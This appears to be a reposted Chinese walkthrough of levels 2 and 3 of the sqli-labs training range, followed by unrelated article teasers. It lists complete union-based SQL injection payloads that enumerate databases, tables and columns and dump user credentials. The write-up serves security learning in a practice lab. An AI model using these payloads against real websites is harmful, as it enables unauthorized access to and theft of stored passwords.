【sqli靶场】第二关和第三关通关思路

news2024/12/22 18:29:20

目录

前言

一、sqli靶场第二关

1.1 判断注入类型

1.2 判断数据表中的列数

1.3 使用union联合查询

1.4 使用group_concat()函数

1.5 爆出users表中的列名

1.6 爆出users表中的数据

二、sqli靶场第三关

2.1 判断注入类型

2.2 观察报错  

2.3 判断数据表中的列数

2.4 使用union联合查询

2.5 使用group_concat()函数

2.6 爆出users表中的列名

2.7 爆出users表中的数据


🌈嗨!我是Filotimo__🌈。很高兴与大家相识,希望我的博客能对你有所帮助。

💡本文由Filotimo__✍️原创,首发于CSDN📚。

📣如需转载,请事先与我联系以获得授权⚠️。

🎁欢迎大家给我点赞👍、收藏⭐️,并在留言区📝与我互动,这些都是我前进的动力!

🌟我的格言:森林草木都有自己认为对的角度🌟。

前言

sqli靶场第一关:https://filotimo.blog.csdn.net/article/details/134626587?spm=1001.2014.3001.5502


一、sqli靶场第二关

1.1 判断注入类型

输入?id=1',显示语法错误。
输入?id=1'',显示语法错误。
输入?id=1/1,正常回显。
输入?id=1/0,爆出如下页面:

证明存在数字型注入。

1.2 判断数据表中的列数

介绍一个方法:二分法

其基本思想是将待查找的区间不断二分,以缩小查找范围,直到找到目标元素。

输入?id=1 order by 10 --+,出现回显Unknown column '10' in 'order clause'。

用一下二分法,输入?id=1 order by 5 --+,仍然回显Unknown column '10' in 'order clause'。

继续,输入?id=1 order by 3 --+,正常回显。

输入?id=1 order by 4 --+,回显Unknown column '10' in 'order clause'。

说明列数为3。

1.3 使用union联合查询

联合查询是 sql中用于将两个或多个查询的结果集组合成一个结果集的操作。使用union联合查询的前提是被联合的查询必须拥有相同数量的列,列的数据类型必须兼容。

输入?id=0 union select 1,2,3--+,用来判断回显位,其中的0是不存在的id值,这是为了使后方语句union select 1,2,3能够执行,页面如下:

输入?id=0 union select 1,2,database()--+爆出数据库名

1.4 使用group_concat()函数

group_concat()函数是 MySQL 中的聚合函数,用于将多行数据按照指定的分隔符连接为一个字符串。

构造:

?id=0 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

爆出了表名:

1.5 爆出users表中的列名

构造:

?id=0 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

获得了users表中的列名:

1.6 爆出users表中的数据

查看users表中所有的用户:

?id=0 union select 1,2,group_concat(username) from security.users --+

查看users表中所有的用户密码:

?id=0 union select 1,2,group_concat(password) from security.users --+

用concat_ws(':',A,B)函数,拼接用户名和密码,使其成对出现

?id=0 union select 1,2,group_concat(concat_ws(':',username,password)) from security.users --+

二、sqli靶场第三关

2.1 判断注入类型

输入?id=1',显示语法错误。


输入?id=1'',正常回显。
输入?id=1/1,正常回显。
输入?id=1/0,正常回显。

判断为字符型注入(初步判断为单引号闭合)。

2.2 观察报错  

报错信息为''1'') LIMIT 0,1' 

进一步判断为')闭合

输入?id=1') --+,正常回显。

2.3 判断数据表中的列数

输入?id=1') order by 3 --+,正常回显。

输入?id=1') order by 4 --+,显示超出。

用二分法与order by确定列数为3

2.4 使用union联合查询

输入?id=0') union select 1,2,3--+,判断回显位,页面如下:

输入?id=0') union select 1,2,database()--+爆出数据库名:

2.5 使用group_concat()函数

输入:

?id=0') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

爆出表名:

2.6 爆出users表中的列名

输入:

?id=0') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

获得了users表中的列名:

2.7 爆出users表中的数据

查看users表中所有的用户:

?id=0') union select 1,2,group_concat(username) from security.users --+

查看users表中所有的用户密码:

?id=0') union select 1,2,group_concat(password) from security.users --+

用concat_ws(':',A,B)函数,拼接用户名和密码,使其成对出现

?id=0') union select 1,2,group_concat(concat_ws(':',username,password)) from security.users --+

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1304091.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

电脑出现错误0x80004005怎么解决,解决0x80004005的问题

当电脑出现0x80004005错误时,通常是由于系统或应用程序之间的通信问题或文件系统损坏引起的。该错误代码表示未指定错误,在Windows系统中较为常见。 一.解决0x80004005错误的步骤 重新启动电脑 有时候,错误只是一个暂时的问题,重…

C语言常用字符串

目录 1.什么是字符串 2.如何定义字符串 第3和第4定义的区别:3是字符串变量,4是字符串常量,不予许被修改 3.strlen和sizeof的区别 4.地址分配(malloc,realloc,free,memset) 案例 5.字符串拷贝(strcpy,strncpy) …

【docker】容器使用(Nginx 示例)

查看 Docker 客户端命令选项 docker上面这三张图都是 常用命令: run 从映像创建并运行新容器exec 在运行的容器中执行命令ps 列出容器build 从Dockerfile构建映像pull 从注册表下载图像push 将图像上载到注册表…

windows启动出现 zookeeper此处不应有java

可能是Java 路径出了问题,这个programFiles直接有空格,没错就有空格,笔者一开始以为这么点算什么空格,需要把这个对应的Java文件到别的英文路径下,并且修改环境变量。就可以启动的。 还可以启动方式有很多种&#xff0…

【操作系统和计网从入门到深入】(二)进程

前言 这个专栏其实是博主在复习操作系统和计算机网络时候的笔记,所以如果是博主比较熟悉的知识点,博主可能就直接跳过了,但是所有重要的知识点,在这个专栏里面都会提到!而且我也一定会保证这个专栏知识点的完整性&…

python——第十七天

方法重写(overwrite) 、方法覆盖(override ):在继承的基础上,子类继承了父类的方法,如果不能满足自己使用,我们就可以重写或覆盖该方法 函数重载(overload): 在强数据类型的编程语言中(如Java、C、C等等): 函数名称…

高通平台开发系列讲解(USB篇)MBIM驱动详解

文章目录 一、数据结构二、源码分析三、adroid_mbim创建四、读写 /dev/adroid_mbim4.1、读gsi_ctrl_dev_read4.2、写gsi_ctrl_dev_write沉淀、分享、成长,让自己和他人都能有所收获!😄 📢本文主要介绍高通平台USB网卡MBIM驱动。 一、数据结构 目录:drivers/usb/gadget/…

Python使用分段函数拟合数据

Python使用分段函数拟合数据 前言前提条件相关介绍实验环境使用分段函数拟合数据代码实现输出结果 前言 由于本人水平有限,难免出现错漏,敬请批评改正。更多精彩内容,可点击进入Python日常小操作专栏、OpenCV-Python小应用专栏、YOLO系列专栏…

【LeetCode】每日一题 2023_12_12 下一个更大元素 IV(堆,优先级队列/单调栈)

文章目录 刷题前唠嗑题目:下一个更大元素 IV题目描述代码与解题思路 刷题前唠嗑 LeetCode?启动!!! 时隔两天,LeetCode 每日一题重新开张,流感已经不能阻挡我的脚步了! 题目&#x…

【FAQ】推送前台应用的通知处理功能没生效,如何进行排查?

一、前台应用的通知处理简介 在调用推送接口时可以设置“foreground_show”字段控制前台应用的通知栏消息是否通过NC展示。“foreground_show”默认值为“true”,应用在前台时由NC展示通知栏消息;当设置为“false”时,应用在前台时&#xff…

<习题集><LeetCode><链表><61/83/82/86/92>

目录 61. 旋转链表 83. 删除排序链表中的重复元素 82. 删除排序链表中的重复元素 II 86. 分隔链表 92. 反转链表 II 61. 旋转链表 https://leetcode.cn/problems/rotate-list/ public ListNode rotateRight(ListNode head, int k) {//k等于0,或者head为空&…

高效利用内存资源之动态内存管理详解

目录 一、为什么存在动态内存分配 二、动态内存函数的介绍 2.1malloc 2.2free 2.3calloc 2.4realloc 三、常见的动态内存错误 3.1对NULL指针的解引用操作 3.2对动态开辟空间的越界访问 3.3对非动态开辟内存使用free释放 3.4使用free释放一块动态开辟内存的一部分 3.…

GNSS 精密单点定位(PPP) 所需数据文件及格式说明

目录 1.PPP所需的数据文件 (1)PPP中必要文件: (2)其他非必要文件: (3)文件示例: 2.数据下载方式 (1)网址下载: (2)GAMP II-GOOD软件下载 1.PPP所需的数据文件 (1)PPP中必要文件: 文件 功能 •观测值文件&…

降采样方法对NCC得分的影响因素评估

定位算法原理 关于不同的定位场景,最适合使用的算法原理,Halcon的原理文档中描述如下: 在图案缩放可用忽略,图案纹理丰富的场景,适合采用基于互相关的匹配。 输入参考图像,搜索图像,参考图像在搜索图像上滑动,得到滑动位置的NCC得分。如下图所示,高于阈值的最亮的地…

【多组学数据驱动的机器学习:生物医学研究的创新与突破】

简介:随着生物医学研究的不断发展,多组学数据在疾病预防、诊断和治疗方面发挥着越来越重要的作用。本文将介绍如何利用机器学习技术对多组学数据进行综合分析,以及这种方法在生物医学研究中的优势和潜力。 正文: 一、多组学数据…

linux搭建seata并使用

搭建seata 官网 在linux下搭建 下载1.6.1版本:地址 新建文件夹、上传压缩包并解压 [roothao ~]# cd /usr/local/software/ [roothao /usr/local/software]# ls canal docker elk gitlab jdk mysql nacos nexus nginx rabbitmq redis redis_sentinel…

【Linux】free命令使用

free命令 ​free是指查看当前系统内存的使用情况,它显示系统中剩余及已用的物理内存和交换内存,以及共享内存和被核心使用的缓冲区。 作者 作者:Brian Edmonds。 语法 free [参数] free 命令 -Linux手册页 命令选项及作用 执行令 &am…

ArcGIS无法绘制一个或多个图层

背景:在导入一份数据时候,arcmap出现无法绘制一个或多个图层的错误,...点数少于要素所要求的的数量,查阅了半天资料发现是制作数据时候拓扑关系错误造成,现将处理方法详细记录如下: 1.原数据: …

如何使用GaussDB创建外表(FOREIGN TABLE)

目录 一、前言 二、创建外表的特点 二、GaussDB创建外表访问外部数据库表(示例) 1、创建外表 2、FAQ:CREATE USER MAPPING错误 三、GaussDB创建外表映射数据文件(示例) 1、创建数据文件 2、创建外表 3、FAQ&a…

使用torch解决线性回归问题

数据处理 import torch import numpy as np import pandas as pd import matplotlib.pyplot as pltdatapd.read_csv(./datasets/Income1.csv) #数据准备data.head(5)#展示数据 #以上所有的代码都是用jupyter notebook写,形成了阶段性的结果展示 查看数据信息 dat…